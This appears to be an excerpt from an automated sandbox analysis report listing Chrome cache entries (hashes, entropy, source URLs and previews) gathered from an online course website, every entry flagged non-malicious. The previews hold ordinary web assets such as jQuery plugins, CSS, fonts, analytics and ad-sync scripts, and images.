SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=rp&google_hm=TFVWUjJBM0ItTi01WkVQ&google_push=
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 975

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1996), with no line terminators
Category:	downloaded
Size (bytes):	1996
Entropy (8bit):	4.844124415373574
Encrypted:	false
SSDEEP:	48:1SH2vlPR0ZfNU5dLTu6tbgFU1lKf5AoPKphD8Hh8Pqlpzane9HN:1f50PevDt841pGKMzanKt
MD5:	176BB533C7E86319553062916A6EAB2E
SHA1:	F2D82E3414B5FA6838D98FE190A295235A6FC072
SHA-256:	5B667651293E904CC3EDFB1068B3BAFA57AEC17699945142B75E97ADE071358F
SHA-512:	44F2C88E34E4B3F68C2F99358414A020B638610F5D3E53DB1510CE28F951C684CB20D2ACCBE39269CF342C38A112303A43A075350927B9B8FC9FE5D49540E744
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/elementor/assets/libs/countTo/jquery.countTo.min.js
Preview:	!function(t){"function"==typeof define&&define.amd?define(["jquery"],t):"object"==typeof exports?t(require("jquery")):t(jQuery)}(function(s){var r=function(t,e){this.$element=s(t),this.options=s.extend({},r.DEFAULTS,this.dataOptions(),e),this.init()};r.DEFAULTS={from:0,to:0,speed:1e3,refreshInterval:100,decimals:0,formatter:function(t,e){return t.toFixed(e.decimals)},onUpdate:null,onComplete:null},r.prototype.init=function(){this.value=this.options.from,this.loops=Math.ceil(this.options.speed/this.options.refreshInterval),this.loopCount=0,this.increment=(this.options.to-this.options.from)/this.loops},r.prototype.dataOptions=function(){var t={from:this.$element.data("from"),to:this.$element.data("to"),speed:this.$element.data("speed"),refreshInterval:this.$element.data("refresh-interval"),decimals:this.$element.data("decimals")},e=Object.keys(t);for(var o in e){var i=e[o];void 0===t[i]&&delete t[i]}return t},r.prototype.update=function(){this.value+=this.increment,this.loopCount++,this.

Chrome Cache Entry: 976

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 191 x 81, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9500
Entropy (8bit):	7.948167188620137
Encrypted:	false
SSDEEP:	192:tB/n4dESsduECbSza2GH4D40/euYmNyHuz76iSRAow2cBfDf:tB/PCbSzoH4cMYm8SeBAJVBLf
MD5:	1E538AA5107EE90EDDB3BAE925D29C2B
SHA1:	F79732A8225795A23193F826CBB2AC48CE382EC4
SHA-256:	035196D1356DF45F3123207CE022E9EBEEE0C47FC3A684AA366EF7863A286AA5
SHA-512:	7558F4B50AD41779CE7F82394D993E61BB67E4C7283D2113AFA96942A5A8D1B82990AA524CC46C19A2778975381ABDD744E883E57B72249CD8590C9018FFF44C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......Q.......w...$.IDATx..ZIH.].6.h^4.4.s.<@...T.EQQ.DEE....6..QD\.n...PQ.DD.t.B.q...y...s....W}_...}.....=...{._...L.">\|,S....l....+.....,v...I!FGG......O...)...GP..pp.$..OLL.I.7...k=.>.....r..`.....>.....333 4......0...C........^.q..`hh.F.....5.EKGG......7..q~II..._N.>-.....6.....~.#......~}.$''KHH......._].\|..Z..J]].R.j.eeeRSS..NOO.u..)...;&.....Os.....3V.qAX..W'..=zTV.X....]+... ;;[..j...o,.###.F..........u.!....S........J.....C..<{v..>9f..{;. (..%?..$.#....'+W.....d?~...III.'.3..~.".IXN:....`.4V.m..H<..S.f....RN.qUL..,x^b...B..sC=...u....a.........Y.z..Y.F...#[.n.M.6..ga.....i..E .....V..y!.....eF..-.?P..O...:....40s..A.......O..[..G..e..%...y...\...G...$#..p..k{NSn/...`.^......L......AyB~{...xG.;.......#""Taiii.y.f..Ob..@6x\|..K...zA.....i`..].j.+..>1.'.....b.....@vo.= ..y.=....B39......s..{.......KoJO.7..."?e.>..9.{.....Bf_...\j.z.O.}..I.V...}...%ZZZ....h...5.cz....{........d.^....t..:.......m.'.+...8...DOO...

Chrome Cache Entry: 977

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2363), with no line terminators
Category:	downloaded
Size (bytes):	2363
Entropy (8bit):	5.6017586057551325
Encrypted:	false
SSDEEP:	48:CckCjwCrCCcjUusyjBCIuwpGBY53kum0iMJOB0edCKAHdq:CI3rpTfwAITPJr3sdCbdq
MD5:	6A89FBABBCC20D0ED012AFDA3C7D9378
SHA1:	0B122968B469D800170A04C2DA84705929747187
SHA-256:	D2451B63F384D3B4C1E80F951016E4C1D574FC0667FAFF2CFCB8AC6245CE668A
SHA-512:	E9D7F18D8AC7CDCF910D1494C75BE70E00052FE913841542553C4E21FC1BD66C60F8CD786CFCB155964477EB57CEC933BD35BCA4522DD69A68C54F04ADF5243A
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=8067674&p=157108&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1---
Preview:	PubMatic.loadAsyncImagePixel('https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://us-u.openx.net/w/1.0/sd?id=540245193&val=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://crb.kargo.com/api/v1/dsync/Martin?exid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://sync.bfmio.com/sync?pid=187&uid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://sync-tm.everesttech.net/upi/pid/b9pj45k4?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=${TM_USER_ID}&gdpr=1&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pubmatic-match.dotomi.com/match/bounce/current?networkId=17100&version=1&nuid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://ad.

Chrome Cache Entry: 978

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	5.375575606950324
Encrypted:	false
SSDEEP:	3:YA0fRGPnwgc6JVeiexE2uYp862lHMINY:YAmRAwgc6vdy8FK
MD5:	248E28374CB348F9A8087561BC61742A
SHA1:	73889525BE8B85D66D6334C4D0937F9B00502233
SHA-256:	3F344715F1B74D18B6CE0773290FFE5251CC06A3197C90DC1D866D8D1AE8107C
SHA-512:	B116684DEC6023DBCF67E04FF9D9DBCFC6AC508F3BDC026B74361068A2DB1DA15A40B81D0CA7BF0639D472CA64B10D0B03D5A663167B3F995F22EDE5D028064E
Malicious:	false
Reputation:	low
Preview:	{"esp":"eyJpIjoiUnVsUE9yK1NUYUdnQ0hiNHY1bkxGUT09In0=","i":"RulPOr+STaGgCHb4v5nLFQ=="}

Chrome Cache Entry: 979

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3006
Entropy (8bit):	4.882699185282572
Encrypted:	false
SSDEEP:	48:YgN+BqS/tqdheMtNs+vFQIZQ6daPD+MXWeGWbDD6uijlsLD4++ewnEK2Iy0:hN+BqrdheEO+9QN6d2D+MXWedbDDwGLA
MD5:	41C591B7AC52BDA8F68385AA90A3F736
SHA1:	14188ED06A9014F4E86FD2FF07FCF6D6726DB367
SHA-256:	67A173EED817A9A4914293FFD4B66B58E3AC05F9E2B2AEF96CF521B6CDFA2B85
SHA-512:	CDE1B2B6E20EBF16C588E3F884059AAB89EC5DED5A4D5B9C768714686BEA803E8D5007769B3159B368096651F34B0BDBA9BFACDE87D3C8AE4B08FC58471DCB1F
Malicious:	false
Reputation:	low
Preview:	{"page":{"bookmarkCount":2,"categories":[],"dbId":"0ec50e6e-a0c3-4fc0-9bb3-596b33bf51d0","description":"The ultimate online Data Analysis & BI courses - learn how to do Data Analysis & BI using Power Query, Power BI, Power Pivot, SQL Server & Microsoft Access today.","hasCanonicalUrl":true,"id":"UGFnZTowZWM1MGU2ZS1hMGMzLTRmYzAtOWJiMy01OTZiMzNiZjUxZDA=","imgUrl":"","isArchive":true,"isDeleted":null,"language":"en","lastRefreshNoChangeAt":null,"lastRefreshedAt":"2023-11-01T20:15:07.721Z","modifiedTime":null,"publishedAt":null,"salesKeywords":["excel","online data analysis","bi courses","earn","online datum analysis course","python","datum analyst","sql","business","datum analytic training","datum mining","field","microsoft","mit","university"],"shortGrowUrl":"https://urls.grow.me/GhDuaKkIMi","siteId":"a93bd662-05a1-4ce7-81ce-4c67bccef190","textContent":"A real-time, rapidly growing field of data analytics training is highly demanding all over businesses and industries. Most businesses fo

Chrome Cache Entry: 980

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1859
Entropy (8bit):	4.77031710338976
Encrypted:	false
SSDEEP:	24:rUec0k3DERaxY/Sw/RVu3IVV6VcTFyAIXb0TPpGVcsMN85TNCjf:oel+gRaxYakO3In6VcTUv0TP0VljTcf
MD5:	F8FA751FC5693CA86934AE00B93965CD
SHA1:	60DD2823DA1D092A71C91F538136436E649E079E
SHA-256:	29B660E1245D6F585268794E05D6FE565CF07B383C9FDFB66AAF67A129A479C7
SHA-512:	7C09610E75373729F39380F67F69E2657216F7EAC9CB4A1474459D10833FF577D43A37E053236570362EA7456F1FF4D33DC62EE893756D6ACFA96D3FCA5BF87B
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/tutor-lms-elementor-addons/assets/css/slick.min.css
Preview:	/*. Minified by jsDelivr using clean-css v4.2.0.. */...slick-slider {. position: relative;. display: block;. box-sizing: border-box;. -webkit-user-select: none;. -moz-user-select: none;. -ms-user-select: none;. user-select: none;. -webkit-touch-callout: none;. -khtml-user-select: none;. -ms-touch-action: pan-y;. touch-action: pan-y;. -webkit-tap-highlight-color: transparent.}...slick-list {. position: relative;. display: block;. overflow: hidden;. margin: 0;. padding: 0.}...slick-list:focus {. outline: 0.}...slick-list.dragging {. cursor: pointer;. cursor: hand.}...slick-slider .slick-list,..slick-slider .slick-track {. -webkit-transform: translate3d(0, 0, 0);. -moz-transform: translate3d(0, 0, 0);. -ms-transform: translate3d(0, 0, 0);. -o-transform: translate3d(0, 0, 0);. transform: translate3d(0, 0, 0).}...slick-track {. position: relative;. top: 0;. left: 0;. display: block;. margin-left: au

Chrome Cache Entry: 981

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41088)
Category:	downloaded
Size (bytes):	441013
Entropy (8bit):	5.464011615927898
Encrypted:	false
SSDEEP:	6144:hmlgLClwZJ1Ys72eBJMv+DPDAxAsklrq0kPYAKZ:kOLCWbRJMvMTDsKZ
MD5:	E551B51F2143613A3FF5A8410BCDF3BB
SHA1:	B4A6DB8BCBD35966FBFA2B071291AD473F2D08AE
SHA-256:	ED6D3879E83EEA603A014F1A6918EBFBEC89AA7ABC0ABC1A51DAEE288A10715F
SHA-512:	EDE6E82D333E0EFDE9E56BB8D350DA4F44F9928E5F4859D836A3A25FE0D3262471D4B5EB481623DED561260227A3D0E141D28685672AA2DE2DE58FB6DE110646
Malicious:	false
Reputation:	low
URL:	https://analytics.tiktok.com/i18n/pixel/static/main.MTFhN2NkNDczMQ.js
Preview:	!function(e){var r={};function o(t){if(r[t])return r[t].exports;var n=r[t]={i:t,l:!1,exports:{}};return e[t].call(n.exports,n,n.exports,o),n.l=!0,n.exports}o.m=e,o.c=r,o.d=function(t,n,e){o.o(t,n)\|\|Object.defineProperty(t,n,{enumerable:!0,get:e})},o.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},o.t=function(n,t){if(1&t&&(n=o(n)),8&t)return n;if(4&t&&"object"==typeof n&&n&&n.__esModule)return n;var e=Object.create(null);if(o.r(e),Object.defineProperty(e,"default",{enumerable:!0,value:n}),2&t&&"string"!=typeof n)for(var r in n)o.d(e,r,function(t){return n[t]}.bind(null,r));return e},o.n=function(t){var n=t&&t.__esModule?function(){return t["default"]}:function(){return t};return o.d(n,"a",n),n},o.o=function(t,n){return Object.prototype.hasOwnProperty.call(t,n)},o.p="https://analytics.tiktok.com/i18n/pixel/",o(o.s="ranp")}({"/6w+":function(t,n,e){"use strict";var

Chrome Cache Entry: 982

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	125232
Entropy (8bit):	4.7409064256981175
Encrypted:	false
SSDEEP:	3072:/ll00DMHi8fC/s7sS744jkSJlRgFLER7a83NsynBN:/8ZMk
MD5:	B1C107AC9BAA22446232459A53C1C8F7
SHA1:	EBD5EE5810DCE9854659D2751293A703327E9915
SHA-256:	D161C04FB2450F60756E8BBE6F5F883A94204C85A24318F35438517E44461741
SHA-512:	56207609C749A6D2E55E7AA56D6513A0215A64D272D707072D4CD0059F306B3EBB0FB4961E5D1ACF8428919115D2E7FECC616A8F8C4EC8662F41F552F7FF1D20
Malicious:	false
Reputation:	low
URL:	https://api.grow.me/sites/a93bd662-05a1-4ce7-81ce-4c67bccef190/search-landing-page
Preview:	{"mostPopularPages":{"edges":[{"node":{"__typename":"Page","id":"UGFnZTpkMmRlYzFiNS00YWNhLTQ2OTUtYmJmOC1jZTNmYTY3ZTQwZTM=","title":"Skills For Professionals","url":"https://earnandexcel.com/","description":"Start to success Learn Skills That Will Make You Invaluable To Your Company Let experienced professionals pass on their skills and knowledge to you as you become your team.s MVP with our courses in Excel, Data Analysis, Business Intelligence, Microsoft Office , Data Science, Accounting, Digital Marketing & More! Search for: Search Most Popular Courses All Excel Premium Digital Marketing Accounting Office Data Science DA & BI All Excel Premium Digital Marketing Accounting Office Data Science DA & BI Let Us Help Finding Your Right Courses Get started Start to success Achieve Your Goals with Earn And Excel 1 + Students Enrolled 1 Classes Completed 0 % Learners report career benefits 0 + Courses from top instructors Some Of The Companies Our Students Work At Start Learning Testimonial

Chrome Cache Entry: 983

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10019)
Category:	downloaded
Size (bytes):	18468
Entropy (8bit):	4.942984129844562
Encrypted:	false
SSDEEP:	384:FKJ30sBCwYe4oHjDl5fyLrHNck7Ige24YS5bqvcVV+:FKJ30sBCwYocYlm
MD5:	4601BA55044413706C2022CB6C1C3D05
SHA1:	5103EC2FBB389568EBF5CFE4FD721F3DF2FF7AEC
SHA-256:	FE513EF974B767510D0A2B9F1B4D3AFA53185B89AB617C869E5E3D6DB960192C
SHA-512:	8DAB2D19378E34B40043621AAC57B418E56486DCFEBD1A5991BE8A02EE6B071D07EC6BFD9408DEA8FF0198995DE9D42A46E66513D68B40B68056707E4E691E01
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/elementor/assets/lib/animations/animations.min.css
Preview:	@keyframes bounce{20%,53%,80%,from,to{animation-timing-function:cubic-bezier(.215,.61,.355,1);transform:translate3d(0,0,0)}40%,43%{animation-timing-function:cubic-bezier(.755,.050,.855,.060);transform:translate3d(0,-30px,0)}70%{animation-timing-function:cubic-bezier(.755,.050,.855,.060);transform:translate3d(0,-15px,0)}90%{transform:translate3d(0,-4px,0)}}.bounce{animation-name:bounce;transform-origin:center bottom}@keyframes flash{50%,from,to{opacity:1}25%,75%{opacity:0}}.flash{animation-name:flash}@keyframes pulse{from,to{transform:scale3d(1,1,1)}50%{transform:scale3d(1.05,1.05,1.05)}}.pulse{animation-name:pulse}@keyframes rubberBand{from,to{transform:scale3d(1,1,1)}30%{transform:scale3d(1.25,.75,1)}40%{transform:scale3d(.75,1.25,1)}50%{transform:scale3d(1.15,.85,1)}65%{transform:scale3d(.95,1.05,1)}75%{transform:scale3d(1.05,.95,1)}}.rubberBand{animation-name:rubberBand}@keyframes shake{from,to{transform:translate3d(0,0,0)}10%,30%,50%,70%,90%{transform:translate3d(-10px,0,0)}20%,40%

Chrome Cache Entry: 984

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4260), with no line terminators
Category:	downloaded
Size (bytes):	4260
Entropy (8bit):	5.2325094251409965
Encrypted:	false
SSDEEP:	96:Adv688T6RL6AvmBv8urxuvQM4OhW8JW5jFZ1no6l1I81tJtDg:Adn8OqB0urxum2JW5jFZ1no6l1IgvG
MD5:	D46DEBCB8F3F7620E64F816A9DE9397B
SHA1:	CD78E9F9CBF09C8F1F72BCE7ED151EB76CA46F46
SHA-256:	D50C891B8B6ECCBDD1021E2878C93B0AE180A21BE15A9C4996E811EC113F7DB7
SHA-512:	BCC712E606BFBE1BDEB5A02D81A024A3B38E2BB377B34152C6B84EF2AA81B79B4CF0E5ABFD0094837E33A65A72C21D358C3907A5102BB5A23E04170184B42906
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/js/grid-layout.min.js
Preview:	!function(L){"use strict";function s(E,t){this._isotopeOptions={itemSelector:".grid-item",percentPosition:!0,transitionDuration:0,packery:{columnWidth:".grid-sizer"},fitRows:{gutter:10}},this.init=function(){var t,o=this,i=E.find(".edumall-grid"),e=E.data("grid");0<i.length&&e&&void 0!==e.type?($edumall.isRTL&&(o._isotopeOptions.originLeft=!1),"masonry"===e.type\|\|"metro"===e.type?o._isotopeOptions.layoutMode="packery":o._isotopeOptions.layoutMode="fitRows",i.imagesLoaded(function(){o.calculateMasonrySize(),"grid"===e.type&&(i.children(".grid-item").matchHeight(),i.isotope("layout")),i.addClass("loaded")}).one("arrangeComplete",function(){o.handlerEntranceAnimation(),o.handlerTooltips()}),L(window).resize(function(){o.calculateMasonrySize(),clearTimeout(t),t=setTimeout(function(){o.calculateMasonrySize()},500)})):(i.addClass("loaded"),o.handlerEntranceAnimation(),o.handlerTooltips()),E.on("EdumallQueryEnd",function(t,i,e){o.update(e)})},this.update=function(t){var i=this,e=E.data("grid"

Chrome Cache Entry: 985

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 986

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	46796
Entropy (8bit):	5.49249921743214
Encrypted:	false
SSDEEP:	768:yBLBSB7BOBdBJB/vp/LXO9pQNN5YYFTVptg4TK2cCqJ34IaURijoByBfBABaBuBH:gc
MD5:	9ABEEE4EC31E36147F43FDB381C6FD4C
SHA1:	01CEF8EADCF8E0FA6BB0B78EF064794FB5DBFF15
SHA-256:	E8CC80BE6C43744AD0FA84933313CC74406E594583A351ED53963E6DBC72FCF1
SHA-512:	04D35F9A51C6CBB9B05DC5B3F6B87B6C7CD260809B38D854A0FFD2AD6C7B13B03E5CD4C4610D2255F42B052D830AE04B6C94E4905F946012D5582284DC7EA2FE
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Roboto%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C600%2C600italic%2C700%2C700italic%2C800%2C800italic%2C900%2C900italic%7CRoboto+Slab%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C600%2C600italic%2C700%2C700italic%2C800%2C800italic%2C900%2C900italic&display=auto
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Roboto';. font-style: italic;. font-weight: 100;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOiCnqEu92Fr1Mu51QrEz0dL_nz.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Roboto';. font-style: italic;. font-weight: 100;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOiCnqEu92Fr1Mu51QrEzQdL_nz.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Roboto';. font-style: italic;. font-weight: 100;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOiCnqEu92Fr1Mu51QrEzwdL_nz.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Roboto';. font-style: italic;. font-weight: 100;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOiCnqEu92Fr1Mu51QrEzMdL_nz.woff2) format('woff2');. unicod

Chrome Cache Entry: 987

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	9052
Entropy (8bit):	5.178166748645426
Encrypted:	false
SSDEEP:	192:Qqkp5+VqrIgxqMGHRpqQEpz4d444a4O4O8yp5BmbqkQsG7:LxqrIgxqMGxpqQEpz4d444a4O4O8yjB7
MD5:	5CEC186FB803DEE57455356D0B2ADDF0
SHA1:	1A31AC36509EA589B2F9D9A48ACC2847BBD308B8
SHA-256:	5EBC7550313F51029CD86227709777FBE6CC2C8928C595583C579CD95580146B
SHA-512:	D90A18FED33D878008A092384D9B775F5A6AC29EC5CADDDA8369653D33A5F39740DA03B7187F8349ADDD6D069EF6E54CFE465FD889550E5404C2CE3718FF1F93
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/ele-custom-skin/assets/css/ecs-style.css
Preview:	/* Elementor Custom Skin /./ https://www.dudaster.com /..ecs-post-loop .elementor-page-title{. display:block;.}...ecs-loop-preview{. height:100%;. width:100%;. background:lightgray;. border:solid 1px gray;. padding:5px;.}..ecs-loop-preview h3{. font-size:16px;. font-weight:500;. .}..ecs-loop-preview span{. font-size:12px;.}..ecs-loop-preview .ecs-image-holder{. width: 100%;. line-height: 113px;. background-color: #808080;. font-size: 45px;. text-align: center;. vertical-align: middle;. font-weight: 900;. color: #929191;.}...ecs-link-wrapper{. cursor: pointer;.}..elementor-widget-ele-loop-item, .elementor-widget-ele-loop-item > .elementor-widget-container,..elementor-element-edit-mode.elementor-widget-ele-loop-item, .elementor-element-edit-mode.elementor-widget-ele-loop-item > .elementor-widget-container{. . height: 100%;..}./ Fix for Elementor 3.4 /...elementor-widget-posts .ecs-posts .elementor-button-wrapper {. margin-top: 0;.}../

Chrome Cache Entry: 988

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 989

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 700 x 701, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	424926
Entropy (8bit):	7.997540307649664
Encrypted:	true
SSDEEP:	12288:+Fp7fSyqUFN0Yp6IPCdI3HsVfzFHo1ERFlHf2dS8:kp7fVLFN0Yp6+MzFHSAg9
MD5:	0D34EA5A819C5019BEC5F5369E23DE93
SHA1:	5544ECFD755ED357E5EC1883A88A496B76B2CF4D
SHA-256:	CADAAD2F6A597EECDC99030CE2A7BD60473751CBDFFEF4A19E29801402A05794
SHA-512:	E8D030DE142A3AF5C61F9AB4E35DD75EDB1D4CC9E3D0B51D135810D3128D06235CBD6A9506A082FA14FA2BADC49AC3E6394CA08B5BE5180F1850C7A7CEE41421
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/avatar6.png
Preview:	.PNG........IHDR.............I.(.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:5E101BD8108411E98AFAE23F52DBB081" xmpMM:DocumentID="xmp.did:5E101BD9108411E98AFAE23F52DBB081"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5E101BD6108411E98AFAE23F52DBB081" stRef:documentID="xmp.did:5E101BD7108411E98AFAE23F52DBB081"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.[....xRIDATx..v..%..TvN}:.s.<....5.7..vN........(.vj.hw.,K.D...].v./_..............Y......?qHI.+...\.r...'....

Chrome Cache Entry: 990

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11597
Entropy (8bit):	4.868463636575705
Encrypted:	false
SSDEEP:	192:CdB1rktcyfhvtUcG2ZiLrhK3pxRW0oLUnRGSBDObrne1M+XN:Vtn/UcNZiLMw0ZR4XQl
MD5:	4FC0D780F0024CA740C4E7AEB4355C46
SHA1:	E370B6B2E66B665D4DB4E70FD2115FA616515FDE
SHA-256:	EFE28764AD95C8E4CC0CA5C1317A87C9AD79C3154F8F556AFD2F7F29E51E0C1A
SHA-512:	51698B9B861BA99E66C0559F950964352C9A6FB4E67792C4E28FBC05D87C087D2F929B9E6A14289E8C9FC18E7DF06228A44708B37BDA96DF20BF2A58D0C943BC
Malicious:	false
Reputation:	low
Preview:	{. "accept": "Accept",. "account": "Account",. "backToSearch": "Back to Search Results",. "backToWebsite": "Back to website",. "bookmarkImportCTALoggedIn": "View your Bookmarks",. "bookmarkImportCTALoggedOut": "Sign up for Free",. "bookmarkImportDescriptionLoggedIn": "Head to your Grow account to start saving your favorite content from {{siteName}}",. "bookmarkImportDescriptionLoggedOut": "Create a Grow account to keep your bookmarks from {{siteName}}",. "bookmarkImportDescriptionLoggedOutDeadline": "Create a Grow account by {{bookmarkImportDeadline}} to keep your bookmarks from {{siteName}}",. "bookmarkImportDescriptionPendingBookmarksDeadline": "Head to your Grow account by {{bookmarkImportDeadline}} to keep your bookmarks from {{siteName}}",. "bookmarkImportTitle": "{{siteName}} has moved to Grow",. "bookmarkPage": "Bookmark page",. "bookmarkSavedToast": {. "description": "Successfully added to <bookmarkLink>bookmarks</bookmarkLink>!". },. "bookmarks": "Bookmarks",

Chrome Cache Entry: 991

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 416 x 26
Category:	dropped
Size (bytes):	15238
Entropy (8bit):	7.949051510520624
Encrypted:	false
SSDEEP:	384:4THgxWfUWshZ7ytfidOv7xrfo1bl2nklWYvYyDjqbRGpUPsTR:4TAxWfUWsL788Ov7x0bl2kxYyDmbRGiy
MD5:	CE2268030DD2151B63CDF4FFC2F626BA
SHA1:	15280F21EB43F5FA7838DCF011F67D79E301B15F
SHA-256:	6A486BB6036EA984D293AB009566E99E522ABC19F8833C5FD49630BE7EBA0135
SHA-512:	6164DAEF98D93DC1878BD776934C013F7E750CF7EF45959C17F12C0251C89FB0BCA26FFE0D2C1DEFECC8881105A42CCA0E61459A2A57639E75F26458301C67DC
Malicious:	false
Reputation:	low
